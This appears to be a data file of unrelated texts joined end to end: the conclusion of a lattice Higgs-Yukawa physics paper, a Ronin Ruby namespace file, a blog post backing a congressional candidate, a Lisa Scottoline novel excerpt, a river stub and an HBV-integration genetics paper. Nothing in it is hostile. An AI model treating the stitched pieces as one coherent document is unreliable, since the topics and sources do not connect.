Putting this all together we sketch the phase diagram in Fig. \[fig:phasediagram\]. For small $G$ the system is disordered and the fermions massless. For large $G$ and small $\kappa$ we see a four fermion condensate as before. As $\kappa$ increases in magnitude one expects a transition to either a ferromagnetic ($\kappa>0$) or antiferromagnetic ($\kappa<0$) phase for sufficiently large $G$. However, for small positive $\kappa$ close to $G=1.05$, while we observe no sign of a bilinear condensate there are strong indications of critical slowing down and a large fermion correlation length. Since the weak and strong coupling phases *cannot* be analytically connected (one is massless while in the other the fermions acquire a mass) there must be at least one phase transition between them. Unlike the situation for $\kappa\le 0$ we see no evidence for an intermediate broken-symmetry phase in this region and hence the simplest conclusion is that a single phase transition separates the two symmetric phases. Thus far we have seen no sign of first order behavior so this transition appears to be continuous.
\[sec:conc\]Summary and Conclusions
===================================
In this paper we have reported on investigations of the phase diagram of a four-dimensional lattice Higgs-Yukawa model comprising four reduced staggered fermions interacting with a scalar field transforming in the self-dual representation of a global $SO(4)$ symmetry. This extends recent work on a related four fermion model in which a massless symmetric phase is separated from a massive symmetric phase by a narrow broken symmetry phase characterized by a small antiferromagnetic bilinear fermion condensate [@Ayyar:2016lxq; @Ayyar:2016nqh; @Catterall:2016dzf; @Schaich:2017czc].
Our main result is evidence that this broken phase may be eliminated in the generalized phase diagram by tuning the hopping parameter in the scalar kinetic term. This should not be too surprising since the ferromagnetic ordering favored by $\kappa > 0$ counteracts the antiferromagnetic ordering observed for $\kappa \leq 0$. There is then a range of positive $\kappa_1 < \kappa < \kappa_2$ throughout which the massless and massive symmetric phases appear to be separated by a single phase transition. Since no order parameter distinguishes the two phases this transition is not of a conventional Landau-Ginzburg type. Ref. [@Catterall:2017ogi] argues in a related continuum model that the transition may be driven instead by topological defects. It would be fascinating to investigate whether these topological defects could be seen in numerical calculations.
Future work will also focus on better constraining the values of $\kappa_1$ and $\kappa_2$ between which we observe the direct PMW–PMS transition. Our current results suffice to establish that these two points are well separated, $0 < \kappa_1 < 0.05$ while $0.085 < \kappa_2 < 0.125$, but neither is very precisely determined yet. It is also important to measure more observables in order to search for non-trivial scaling behavior associated with this transition. The lack of scaling that we observe for the susceptibility $\chi_{\text{stag}}$ at the phase boundary in Fig. \[fig:sus\_0.05\] currently suggests that the scaling dimension of the bilinear fermion operator would be greater than two at any putative new critical point.
Clearly the possibility of realizing new fixed points in strongly interacting fermionic systems in four dimensions is of great interest and we hope our results stimulate further work in this area.
We thank Shailesh Chandrasekharan, Jarno Rantaharju and Anna Hasenfratz for pleasant and productive conversations. This work is supported in part by the U.S. Department of Energy (DOE), Office of Science, Office of High Energy Physics, under Award Number [DE-SC0009998]{}. Numerical computations were performed at Fermilab using USQCD resources funded by the DOE Office of Science.
Appendix {#appendix .unnumbered}
========
{width="48.00000%"} {width="48.00000%"}
In this appendix we collect some additional results for larger $\kappa > 0.05$, both to strengthen our conclusions that there is no bilinear phase for a range of positive $\kappa$ and to confirm that a ferromagnetic phase does appear once $\kappa$ and $G$ are sufficiently large. First, in Fig. \[fig:cond\_0.085\] we consider $\kappa = 0.085$, around the potential transition identified in Figs. \[fig:fourvsk\] and \[fig:mag\_s\]. Whereas those earlier figures considered $G = 2$, here we use the same $G = 1.05$ as Fig. \[fig:cond\_0.05\] for $\kappa = 0.05$. We again observe an absence of spontaneous symmetry breaking, with the antiferromagnetic and ferromagnetic bilinear condensates both vanishing as the symmetry-breaking source terms are removed, with no visible dependence on the lattice volume.
![Ferromagnetic bilinear condensate vs $m_2=m_1$ at $\left(\kappa, G \right) = (0.1, 1.1)$ for $L=6$, 8 and 12.[]{data-label="fig:cond_0.1"}](bi_s_G11.pdf){width="48.00000%"}
![The $L = 8$ ferromagnetic susceptibility $\chi_{\text{f}}$ vs $G$ for $\kappa = 0$, 0.05 and 0.1.[]{data-label="fig:sus_0.1"}](sus_k01.pdf){width="48.00000%"}
![Four fermion condensate on vs $G$ for $L = 8$, comparing $\kappa = 0.5$ and 0.1.[]{data-label="fig:fourvsG"}](fourvsG.pdf){width="48.00000%"}
The situation is qualitatively different in Fig. \[fig:cond\_0.1\], which considers $\kappa = 0.1$ (at $G = 1.1$) and shows clear signs of a non-zero ferromagnetic condensate in the $L \to \infty$ limit. In Fig. \[fig:sus\_0.1\] we compare the ferromagnetic susceptibility $\chi_{\text{f}}$ for three different $\kappa = 0$, 0.05 and 0.1. While this susceptibility is uniformly small for $\kappa = 0$ and 0.05, the larger $\kappa = 0.1$ produces a strong jump to a large value for $G \gtrsim 1.1$, suggesting a first-order transition into the ferromagnetic phase.
Finally, Fig. \[fig:fourvsG\] compares the four-fermion condensate vs $G$ for $\kappa = 0.05$ and 0.1. Although the larger value of $\kappa$ significantly reduces the four-fermion condensate for large $G \gtrsim 1.2$ (as previously shown in Fig. \[fig:fourvsk\]), there is a very narrow peak around $G \approx 1.05$. This may suggest that the system still transitions directly from the PMW phase into the PMS phase before undergoing a second transition into the ferromagnetic phase. We are therefore not yet able to set tighter constraints than $0.085 < \kappa_2 < 0.125$ on the upper boundary of the direct PMW–PMS transition. This region of the phase diagram appears rather complicated, though Fig. \[fig:sus\_0.1\] makes it clear that the ferromagnetic phase persists to large $G$ rather than being a narrow intermediate phase of the sort we see for $\kappa \leq 0$. This is reflected in our sketch of the phase diagram, Fig. \[fig:phasediagram\].
[^1]: Although Ref. [@Catterall:2016dzf] observed a strong response to an antiferromagnetic external source, evidence of spontaneous ordering in the zero-source thermodynamic limit was not found until the follow-up Ref. [@Schaich:2017czc].
[^2]: To facilitate the computation we have traded the original ferromagnetic Yukawa coupling $\psi\sigma^+\psi$ in eqn. \[eq:S\] for an antiferromagnetic coupling $\epsilon(x)\psi\sigma^+\psi$ while simultaneously trading $\kappa\to-\kappa$ as in eqn. \[ktominusk\]. This allows us to simplify the expression for the effective action by using the fact that $\epsilon(x)$ anticommutes with $\Delta_\mu$.
[^3]: A similar argument suggests that a quartic term $\lambda((\sigma^+)^2 - 1)^2$ will also be produced. As mentioned in the previous section we fix $\lambda = 0$ in the calculations reported here. In addition to simplifying the parameter space to be considered, this step is also motivated by observations [@Gerhold:2007yb; @Gerhold:2007gx] that $\lambda$ seems to have little effect on the large-scale features of the phase diagram in similar Higgs-Yukawa models.
|
#
# Copyright (c) 2006-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# This file is part of Ronin.
#
# Ronin is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ronin is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ronin. If not, see <http://www.gnu.org/licenses/>.
#
require 'open_namespace'
module Ronin
module UI
module CLI
#
# The {Commands} namespace contains all of the {Command} classes
# available to {CLI}.
#
module Commands
include OpenNamespace
self.namespace_root = File.join('ronin','ui','cli','commands')
end
end
end
end
|
I was at a meeting with the other two TechStars founders yesterday (David Cohen and David Brown) to discuss some new and exciting things around TechStars 2008. Jared wasn’t there and in a sudden burst of amazing observation skills, I asked “where’s Jared?”
Both David’s chimed in an said “he’s in Iraq.” I had one of those moments where you pause and process the words to try to make meaning of them. Then I remembered that Jared was going to Iraq for Thanksgiving to support the United Way’s efforts to assist in the development of nonprofit and humanitarian organizations. He’s blogging his trip and starts with a thought provoking post titled My Arrival in Amman, Jordan.
Jared is a long time friend (he was one of the first 10 people I got to know when I moved here – thanks Dave for the introduction.) I have huge respect and adoration for Jared and am delighted he’s running for Congress. Amy and I are big supporters and believe Jared is one of the clearest thinking, most principled, and true to his values person currently running for office today. While I don’t agree with 100% of Jared’s positions, I know he’ll always listen, learn, express his point of view, and engage in every discussion.
If you are a voter in Colorado’s 2nd district, I encourage you to get to know Jared. If you are a supporter, please donate to his campaign (any amount is helpful.) And – if you are interested in participating in Thanksgiving in Iraq from the comfort of your home, follow the blog. |
Missing boy has a striking resemblance to her son
Today and tomorrow The Inquirer is printing exclusive excerpts from Lisa Scottoline's new novel, "Look Again," which will be published April 14.
Chapter 1
Ellen Gleeson was unlocking her front door when something in the mail caught her attention. It was a white card with photos of missing children, and one of the little boys looked oddly like her son. She eyed the photo as she twisted her key in the lock, but the mechanism was jammed, probably because of the cold. Snow encrusted SUVs and swingsets, and the night sky was the color of frozen blueberries.
Ellen couldn't stop looking at the white card, which read HAVE YOU SEEN THIS CHILD? The resemblance between the boy in the photo and her son was uncanny. They had the same wide-set eyes, smallish nose, and lopsided grin. Maybe it was the lighting on the porch. Her fixture had one of those bulbs that was supposed to repel bugs but only colored them yellow. She held the photo closer, but came to the same conclusion. The boys could have been twins.
Weird, Ellen thought. Her son didn't have a twin. She had adopted him as an only child.
She jiggled the key in the lock, suddenly impatient. It had been a long day at work, and she was losing her grip on her purse, briefcase, the mail, and a bag of Chinese take-out. The aroma of barbequed spareribs wafted from the top, setting her stomach growling, and she twisted the key harder.
The lock finally gave way, the door swung open, and she dumped her stuff onto the side table and shed her coat, shivering happily in the warmth of her cozy living room. Lace curtains framed the windows behind a red-and-white checked couch, and the walls were stenciled with cows and hearts, a cutesy touch she liked more than any reporter should. A plastic toy chest overflowed with plush animals, Spot board books, and Happy Meal figurines, decorating never seen in House & Garden.
"Mommy, look!" Will called out, running toward her with a paper in his hand. His bangs blew off his face, and Ellen flashed on the missing boy from the white card in the mail. The likeness startled her before it dissolved in a wave of love, powerful as blood.
"Hi, honey!" Ellen opened her arms as Will reached her knees, and she scooped him up, nuzzling him and breathing in the oaty smell of dry Cheerios and the faint almond of the Playdoh that stuck to his overalls.
"Eww, your nose is cold, Mommy."
"I know. It needs love."
Will giggled, squirming and waving the drawing. "Look what I made! It's for you!"
"Let's see." Ellen set him down and looked at his drawing, of a horse grazing under a tree. It was done in pencil and too good to be freehand. Will was no Picasso, and his go-to subject was trucks. "Wow, this is great! Thank you so much."
"Hey, Ellen," said the babysitter, Connie Mitchell, coming in from the kitchen with a welcoming smile. Connie was short and sweet, soft as a marshmallow in a white sweatshirt that read Penn State, which she wore with wide-leg jeans and slouchy Uggs. Her brown eyes were bracketed by crow's feet and her chestnut ponytail was shot through with gray, but Connie had the enthusiasm, if not always the energy, of a teenager. She asked, "How was your day?"
"Crazy busy. How about you?"
"Just fine." Connie answered, which was only one of the reasons that Ellen counted her as a blessing. She'd had her share of babysitter drama, and there was no feeling worse than leaving your child with a sitter who wasn't speaking to you.
Will was waving his picture, still excited. "I drew it! All by myself!"
"He traced it from a coloring book," Connie said under her breath. She crossed to the coat closet and retrieved her parka.
"I drew it!" Will's forehead buckled into a frown.
"I know, and you did a great job." Ellen stroked his silky head. "How was swimming, Con?"
"Fine. Great." Connie put on her coat and flicked her ponytail out of the collar with a deft backhand. "He was a little fish." She got her brown purse and packed totebag from the windowseat. "Will, tell Mommy how great you did without the kickboard."
"I love my picture, sweetie." Ellen was hoping to stave off a kiddie meltdown and she didn't blame him for it. He was plainly tired, and a lot was asked of three-year-olds, these days. She asked Connie, "He didn't nap, did he?"
"I put him down, but he didn't sleep."
"Too bad." Ellen hid her disappointment. If Will didn't nap, she wouldn't get any time with him before bed.
Connie bent down to him. "See ya later. . ."
Will was supposed to say "alligator," but he didn't. His lower lip was already puckering.
"You wanna say goodbye?" Connie asked.
Will shook his head, his eyes averted and his arms loose at his sides. He wouldn't make it through a book tonight, and Ellen loved to read to him. Her mother would turn over in her grave if she knew Will was going to bed without a book.
"All right then, bye-bye," Connie said, but Will didn't respond, his head downcast. The babysitter touched his arm. "I love you, Will."
Ellen felt a twinge of jealousy, however unreasonable. "Thanks again," she said, and Connie left, letting in an icy blast of air. Then she closed and locked the door.
"I DREW IT!" Will dissolved into tears, and the drawing fluttered to the hardwood floor.
"Aw, baby. Let's have some dinner."
"All by myself!"
"Come here, sweetie." Ellen reached for him but her hand hit the bag of Chinese food, knocking it to the floor and scattering the mail. She righted it before the food spilled, and her gaze fell on the white card with the photo of the missing boy. |
Gösebek
Gösebek is a river of Schleswig-Holstein, Germany. It flows into the Baltic Sea in Scharbeutz.
See also
List of rivers of Schleswig-Holstein
Category:Rivers of Schleswig-Holstein
Category:Rivers of Germany |
1. Introduction {#sec1-genes-11-00661}
===============
Hepatitis B virus (HBV) infection occasionally induces hepatocellular carcinoma (HCC) through direct and indirect mechanisms and is an important cause of morbidity and mortality worldwide. HBV is a partially double-stranded DNA hepatotropic virus of \~3.2 kb in length. The HBV DNA sequence consists of four open reading frames encoding the surface (HBsAg), core (HBcAg), polymerase, and X (HBx) proteins \[[@B1-genes-11-00661],[@B2-genes-11-00661]\].
Soon after HBV infection, HBV DNA is converted into a covalently closed circular DNA molecule (HBV cccDNA) in the nucleus of HBV-infected cells as a stable episomal template \[[@B3-genes-11-00661]\]. HBV cccDNA is responsible for the chronic persistent HBV infection of hepatocytes. On the other hand, the integration of HBV DNA into the host genome occurs randomly, early after infection, and seems to continue \[[@B4-genes-11-00661],[@B5-genes-11-00661],[@B6-genes-11-00661],[@B7-genes-11-00661],[@B8-genes-11-00661]\]. Although the frequent observation of somatic integration of HBV DNA suggests a possible benefit for HBV replication, the mechanism of integration, its functions, and the clinical impact on hepatocarcinogenesis remain largely unknown \[[@B9-genes-11-00661],[@B10-genes-11-00661]\].
Next-generation sequencing (NGS) has been applied in various fields of virology and cancer research \[[@B6-genes-11-00661],[@B7-genes-11-00661]\]. However, the low abundance of viral integration occasionally prevents viral identification. Specific target-sequence capture-based NGS has been developed as a method for detecting low levels of virus particles \[[@B11-genes-11-00661]\]. After fragments with HBV sequence were enriched by a set of HBV probes, high-throughput sequencing could detect the location of HBV integration breakpoints in the HCC genome \[[@B12-genes-11-00661]\]. Capture sequencing methods have higher sensitivity and efficiently detect sequences with low costs, compared to conventional methods \[[@B12-genes-11-00661],[@B13-genes-11-00661]\].
In this report, we analyze HBV genome integration in human hepatoma PLC/PRF/5 cells \[[@B14-genes-11-00661]\] by more sensitive HBV sequence capture-based NGS methods. We constructed an HBV genome sequence and determined the HBV genotype (GT) in human hepatoma PLC/PRF/5 cells. We also focus on the topical subject of HBV DNA integration, which is linked HCC progression. We reveal HBV DNA integrants and their locations in the human genome. HBV sequence capture-based NGS is a useful and powerful tool for the assessment of HBV genome integration.
2. Materials and Methods {#sec2-genes-11-00661}
========================
2.1. Cell Culture {#sec2dot1-genes-11-00661}
-----------------
Human hepatoma PLC/PRF/5 and Huh7 cells were purchased from the Japanese Collection of Research Bioresources (JCRB) Cell Bank (Osaka, Japan) \[[@B14-genes-11-00661]\]. The cells were maintained in Dulbecco's modified Eagle's medium (DMEM, Sigma-Aldrich, St. Louis, MO, USA) supplemented with 10% fetal bovine serum and 100 U/mL penicillin/100 μg/mL streptomycin at 37 °C in a 5% CO~2~ atmosphere. We used PLC/PRF/5 cells within 5 passages in the present study.
2.2. Cellular DNA Extraction and DNA Fragmentation {#sec2dot2-genes-11-00661}
--------------------------------------------------
Total DNA was isolated using a QIAamp DNA Mini Kit (Qiagen, Tokyo, Japan) according to the manufacturer's instructions. A total of 10 μg DNA was fragmented using an E-200 ultrasonicator (Covaris, Unit H. Woburn, MA, USA) \[[@B15-genes-11-00661]\], and the size of the resulting DNA fragments was \~300 bp, which was confirmed by using an Agilent Bioanalyzer 2100 (Agilent Technologies, San Jose, CA, USA).
2.3. Library Preparation and HBV Sequence Capture-Based Next-Generation Sequencing (NGS) {#sec2dot3-genes-11-00661}
----------------------------------------------------------------------------------------
After the generation of blunt-ended fragments, a sequence adapter was added with a TruSeq Nano DNA Sample Prep Kit (Illumina, San Diego, CA, USA). Target-capture sequencing on the Roche SeqCap platform was performed across HBV full genomes: GT-A (AP007263), GT-B (AB287327), and GT-C (AB368296). The DNA libraries from PLC/PRF/5 cells were captured using probes generated from these 3 HBV sequences by using SeqCap EZ Libraries (Roche NimbleGen, Tokyo, Japan).
HBV DNA-specific fragments were selectively collected with Invitrogen Dynabeads (Invitrogen, Carlsbad, CA, USA) and used as genome libraries. NGS of these libraries was performed by using a HiSeq 2000 (Illumina) system with a HiSeq PE Cluster Kit cBot (Invitrogen). Sequence data were processed using a standard pipeline in CLC Genomics Workbench (Qiagen). We focused on the accumulation of HBV-integrated sequences/fused/chimeric sequences and analyzed the sequences of the HBV and human genomes in each read by HBV sequence capture-based NGS. The integrated sequences of the HBV and human genomes with sequence reads \>100 were analyzed.
HBV short genome sequences isolated at NGS were mapped to the reference sequence of HBV full genome GT-C (AB014378), resulting in the full-length HBV sequence (PLC-HBV) derived from PLC/PRF/5 cells being obtained.
All sequence reads have been submitted to the DNA Data Bank of Japan (DDBJ; temporary submission ID: SSUB015333).
2.4. Confirmation of HBV Genome Integration by Sanger Sequencing Methods {#sec2dot4-genes-11-00661}
------------------------------------------------------------------------
PCR primers were designed at the following locations in the human genome (hg19): 131170441--131170444 and 131172081--131172105, 64808026--64808415 and 64808438--64808453, and 80063555--80063577 and 80065509--80065534 for HBV integrants in chromosomes 3, 11, and 17, respectively. PCR primers were also designed at the following locations, the human genome (hg19): 1296892--1296914 on chromosome 5 and 33662450--33662472 for translocation of chromosome (5; 13). A total of 100 ng DNA was amplified by PCR with KOD FX Neo (KFX-201, Toyobo, Osaka, Japan), according to the manufacturer's instructions.
The PCR products were cloned into the pCR-Blunt II-TOPO vector (Invitrogen). Sanger sequencing was performed with M13 forward and reverse primers using the BigDye Terminator v3.1 Cycle Sequencing Kit (Thermo Fisher Scientific, Tokyo, Japan) and an ABI 3730xl DNA Genetic Analyzer (Thermo Fisher Scientific), according to the manufacturer's instructions.
2.5. Phylogenetic Analysis {#sec2dot5-genes-11-00661}
--------------------------
GENETYX version 10 (GENETEX Corp., Shibuya, Tokyo, Japan) was used to analyze the nucleotide sequences and perform phylogenetic tree analysis by neighbor-joining (NJ) methods. The statistical reliability of the phylogenetic trees was assessed using the bootstrap method on 10,000 times and the Kimura two-parameter model \[[@B16-genes-11-00661]\]. The accession numbers of sequences of various HBV GTs are indicated \[[@B17-genes-11-00661],[@B18-genes-11-00661],[@B19-genes-11-00661],[@B20-genes-11-00661],[@B21-genes-11-00661]\].
2.6. Immunofluorescence Study {#sec2dot6-genes-11-00661}
-----------------------------
HBV integrants from chromosomes 3 and 11 were cloned into the pCR-Blunt II-TOPO vector. Plasmids were transfected into Huh7 cells using Lipofectamine 2000 (Thermo Fisher Scientific). After 24 h of transfection, the cells were fixed with 4% paraformaldehyde (Gibco, Palo Alto, CA, USA) and incubated with an HBsAg-specific mouse monoclonal antibody (M3506, Dako, Carpinteria, CA, USA) at a dilution of 1:50, or HBV polymerase-specific mouse monoclonal antibody (2C8, sc-81590, Santa Cruz Biotechnology, Dallas, TX, USA) at a dilution of 1:50 for 1 h. The cells were washed and incubated with anti-mouse Ig conjugated with an Alexa 594 secondary antibody (Invitrogen) at a dilution of 1:500 for 1 h at room temperature. Finally, the cells were washed and mounted for fluorescence microscopy (BIOREVIO BZ-9000, Keyence, Osaka, Japan). PLC/PRF/5 cells were used as control.
3. Results {#sec3-genes-11-00661}
==========
3.1. HBV DNA Sequence Derived from PLC/PRF/5 Cells {#sec3dot1-genes-11-00661}
--------------------------------------------------
Using HBV sequence capture-based NGS technology, we analyzed PLC/PRF/5 cells to reveal the HBV signature. HBV genome sequences were found in PLC/PRF/5 cells (1,784,734 reads out of 6,165,629 reads, including the mitochondrial genome; see [Table 1](#genes-11-00661-t001){ref-type="table"}). We mapped these sequences onto a previously reported HBV sequence to obtain the full-length HBV sequence (PLC-HBV) derived from PLC/PRF/5 cells. PLC-HBV has been deposited in the DNA Data Bank of Japan (<https://www.ddbj.nig.ac.jp/index-e.html>; accessed on 28 March 2020 under accession number LC533934).
Phylogenetic tree analysis by the neighbor-joining (NJ) method demonstrated that PLC-HBV belongs to HBV GT-A ([Figure 1](#genes-11-00661-f001){ref-type="fig"}), in agreement with the production of subtype adw of HBsAg by PLC/PRF/5 cells \[[@B14-genes-11-00661],[@B17-genes-11-00661]\] and the finding that the HBV genome sequences recovered from PLC/PRF/5 cells belong to HBV GT-A \[[@B18-genes-11-00661]\]. PLC-HBV shows nucleotide homology of 94% (3054/3221), 90% (2919/3220), and 91% (2932/3220) to the HBV sequences used for the generation of HBV capture probes in the present study (GT-A, HB-JI444AF (AP007263); GT-B, JPN Bj A53 (AB287327); GT-C C2, HBV-CH48-201w (AB368296), respectively) \[[@B22-genes-11-00661],[@B23-genes-11-00661]\].
PLC/PRF/5 cells do not harbor an intracellular free HBV genome or infectious HBV virions in the conditioned medium \[[@B19-genes-11-00661],[@B24-genes-11-00661],[@B25-genes-11-00661],[@B26-genes-11-00661]\]. Although there is one report showing that PLC/PRF/5 cells harbor full-length HBV genomes \[[@B20-genes-11-00661]\], the PLC-HBV genome is constructed from multiple partial HBV genome sequences in PLC/PRF/5 cells. Here, we demonstrate that HBV GT-A is integrated into the genome of PLC/PRF/5 cells.
3.2. Analysis of HBV Genome Integrants and Their Locations in the Human Genome {#sec3dot2-genes-11-00661}
------------------------------------------------------------------------------
We focused on the accumulation of HBV-integrated sequences/fused/chimeric sequences and analyzed the sequences of the HBV and human genomes in each read by HBV sequence capture-based NGS. HBV-integrated sequences/fused/chimeric sequences consist of one derived from the host and the other from HBV. The results of the analysis for the integrated sequences of the HBV and human genomes with sequence reads \>100 are shown in [Table 2](#genes-11-00661-t002){ref-type="table"}.
[Figure 2](#genes-11-00661-f002){ref-type="fig"} shows the results regarding the integrated sequences of HBV and human genome chromosomes 3, 11, and 17, confirmed by Sanger sequencing methods. These results were different to some extent from those of NGS. [Figure 2](#genes-11-00661-f002){ref-type="fig"}A presents the results for integrated HBV and human chromosome 3 sequences. Human genome chromosome 3 exhibits a 1637-bp deletion with the insertion of a partial 2623-bp HBV DNA sequence. The HBV regions included in this integrant are shown in [Figure 2](#genes-11-00661-f002){ref-type="fig"}D.
[Figure 2](#genes-11-00661-f002){ref-type="fig"}B shows the results regarding integrated HBV and human chromosome 11 sequences. Human genome chromosome 11 exhibits a 17-bp deletion with the insertion of a partial 1591-bp HBV DNA sequence. The HBV regions included in this integrant are shown in [Figure 2](#genes-11-00661-f002){ref-type="fig"}D. The insertion point of human chromosome 11 is the intron of the SAC3 domain-containing 1 (SAC3D1) region. The SAC3D1 mRNA is significantly associated with the overall survival of patients with HCC (B Cox value, +0.540; HR (95% CI), 1.717 (0.179--3.0 0); *p* \< 0.0001). Higher expression of SAC3D1 mRNA in HCC is considered a high-risk factor associated with short survival \[[@B29-genes-11-00661]\]. SAC3D1 is associated with centrosome abnormalities, and SAC3D1 could be a prognostic marker for HCC recurrence after surgical treatment \[[@B30-genes-11-00661]\].
[Figure 2](#genes-11-00661-f002){ref-type="fig"}C provides the results for integrated HBV and human chromosome 17 sequences. Human genome chromosome 17 harbors a 1932-bp deletion with the insertion of a partial 1699-bp HBV DNA sequence. The HBV regions included in this integrant are shown in [Figure 2](#genes-11-00661-f002){ref-type="fig"}D. The insertion point of human chromosome 17 is the coiled-coil domain-containing 57 (CCDC57) coding region. It has been reported that CCDC57 is one of the genes targeted by the integration of human papillomavirus 16 (HPV 16) \[[@B31-genes-11-00661]\].
3.3. Translocation of Chromosomes (5; 13) with HBV Integrants {#sec3dot3-genes-11-00661}
-------------------------------------------------------------
We also observed the translocation of chromosomes (5; 13) with HBV genome integrants ([Figure 3](#genes-11-00661-f003){ref-type="fig"}). The results confirmed by Sanger sequencing methods demonstrate that the insertion point in human chromosome 5 is 2409 bp upstream of the telomerase reverse transcriptase (TERT) gene, which is located near the TERT promoter region. The HBV regions included in this integrant are shown in [Figure 3](#genes-11-00661-f003){ref-type="fig"}. The insertion point in human chromosome 13 is also 15021 bp downstream of the StAR-related lipid transfer domain containing 13 (STARD13) genes ([Figure 3](#genes-11-00661-f003){ref-type="fig"}).
3.4. Automatic Expression of Proteins of HBV Integrants from Chromosomes 3 and 11, from the Vector without Any Promoter Sequences {#sec3dot4-genes-11-00661}
---------------------------------------------------------------------------------------------------------------------------------
To examine the function of HBV integrant DNA from chromosome 3 in Huh7 cells after 24 h of transfection, we examined the expression of each HBV protein by immunofluorescence analysis. Compared to the expression of HBV proteins in PLC/PRF/5 ([Figure 4](#genes-11-00661-f004){ref-type="fig"}A), we observed higher expression of both HBsAg and HBV polymerase protein in HBV integrant DNA-transfected Huh7 cells ([Figure 4](#genes-11-00661-f004){ref-type="fig"}B). We did not observe HBcAg or HBx protein expression in HBV integrant DNA-transfected Huh7 cells (data not shown).
After 24 h of transfection of the HBV integrant from chromosome 11 into Huh7 cells, we observed only HBsAg expression ([Figure 4](#genes-11-00661-f004){ref-type="fig"}C). As the pCR-Blunt II-TOPO vector is a cloning vector and does not contain any promoters for the expression of coding proteins in mammalian cells, these integrants should automatically express the HBV-host fusion, HBsAg or HBV polymerase protein. No previous studies have shown polymerase expression in PLC/PRF/5 cells.
4. Discussion {#sec4-genes-11-00661}
=============
We observed that HBV GT-A is a major GT of HBV integrated into PLC/PRF/5 cells. HBV sequence capture-based NGS is useful for the analysis of HBV genome integrants and their locations in the human genome. Among these HBV genome integrants, we performed functional analysis and demonstrated the automatic expression of some HBV proteins of HBV integrants from chromosomes 3 and 11 in Huh7 cells transfected with these DNA sequences.
The integration of a viral genome could lead to the disruption of the function of the human genome \[[@B32-genes-11-00661],[@B33-genes-11-00661],[@B34-genes-11-00661],[@B35-genes-11-00661]\]. The deregulation of key cellular genes by HBV integration, which may present a selective growth advantage to hepatocytes and result in hepatocarcinogenesis, is thought to occur through several distinctive mechanisms.
PLC/PRF/5 cells can produce HBsAg in the cell culture medium \[[@B14-genes-11-00661],[@B19-genes-11-00661]\]. Edman et al. reported that the PLC/PRF/5 cell line contains at least six (four complete and two incomplete) HBV genomes integrated into high-molecular-weight host DNA \[[@B20-genes-11-00661]\]. Northern blot analysis demonstrated the presence of RNA transcripts specific for the surface antigen sequences of HBV DNA and the absence of detectable transcripts corresponding to the hepatitis B core antigen, supporting the results of the immunofluorescence analysis conducted in the present study ([Figure 4](#genes-11-00661-f004){ref-type="fig"}).
A previous in situ hybridization study with an HBV DNA probe for metaphase chromosomes of the PLC/PRF/5 cell line followed by statistical analysis identified 3 integration sites, namely, 11q22, 15q22-q23 and 18q12 \[[@B36-genes-11-00661]\], and we also found partial HBV genomes in chromosomes other than 11, 15, and 18 ([Table 1](#genes-11-00661-t001){ref-type="table"}). It is possible that our methods are more sensitive and less error-prone.
HBV genome integration into exons and introns results in truncated proteins and decreased protein expression levels, respectively. We found HBV integrants in the intron of chromosome 3 ([Figure 2](#genes-11-00661-f002){ref-type="fig"}A) and part of the exon of CCDC57 in chromosome 17 ([Figure 2](#genes-11-00661-f002){ref-type="fig"}C). We also found HBV integrants in the exon of SAC3D1 in chromosome 11 ([Figure 2](#genes-11-00661-f002){ref-type="fig"}B).
Monjardino et al. reported that a defective HBV DNA molecule (approx. 2.8 kilobase pairs) appears to be integrated in a head-to-tail tandem arrangement, and they proposed that such defective molecules may be involved in the induction of hepatocarcinogenesis by HBV \[[@B26-genes-11-00661]\].
HBV genome integration induces aberrant promoter function in the host genome. [Figure 3](#genes-11-00661-f003){ref-type="fig"} shows HBV genome integration in a region close to the TERT promoter. Telomerase activity, which restores the length of telomere repeat arrays, is frequently observed in various malignancies, including HCC. As TERT is a protooncogene, the integration of HBV could result in hepatocarcinogenesis through its amplification and/or overexpression \[[@B37-genes-11-00661]\]. We also measured TERT mRNA by real-time RT-PCR, but we did not see any difference in TERT mRNA among PLC/PRF/5, Huh7, and HepG2 cells.
STARD13/Deleted in Liver Cancer (DLC) proteins belong to the RhoGAP family, and this protein is more abundantly expressed in HCC tissue, in particular, in the association with inflammation background \[[@B38-genes-11-00661]\]. STARD13 is related to HCC growth and hepatocarcinogenesis \[[@B38-genes-11-00661],[@B39-genes-11-00661],[@B40-genes-11-00661]\], although there is a report that HCC-patients with higher STARD13 or Fas expression levels have longer overall survival \[[@B41-genes-11-00661]\]. The consequences of the detected HBV integration sites and the clinical consequences or integration impact on hepatocarcinogenesis are yet unclear.
Interestingly, the automatic expression of some proteins encoded by HBV integrants from chromosomes 3 and 11 was observed in Huh7 cells transfected with these DNA sequences. This phenomenon may be involved in hepatocarcinogenesis in patients infected with HBV. Chromosome 11 HBV integrants did not code HBV full-length polymerase ([Figure 2](#genes-11-00661-f002){ref-type="fig"}D). This may be the reason why we did not observe HBV polymerase protein in Huh7 cells transfected by chromosome 11 HBV integrants ([Figure 4](#genes-11-00661-f004){ref-type="fig"}C). Further studies, including the functional analysis of these mechanisms, are needed.
In the present study, we enhanced NGS using HBV-targeted sequence capture. Although metagenomic shotgun sequencing is an important tool for the characterization of viral populations, metagenomic shotgun sequencing occasionally lacks sensitivity and may yield insufficient data for detailed analysis \[[@B42-genes-11-00661],[@B43-genes-11-00661]\]. A targeted sequence-capture panel enhances metagenomic shotgun sequencing \[[@B42-genes-11-00661],[@B43-genes-11-00661]\]. As genetic libraries must be generated from samples with low concentrations of HBV DNA and a high content of nucleic acids from a host in many cases \[[@B44-genes-11-00661]\], HBV hybridization-based enrichment may be useful for improving the sensitivity of the detection of HBV genome integration in hepatocytes. However, it is difficult to demonstrate how many copies of HBV deletion/rearrangements exist per cell, and single-cell genome sequencing may be helpful in this case \[[@B45-genes-11-00661]\].
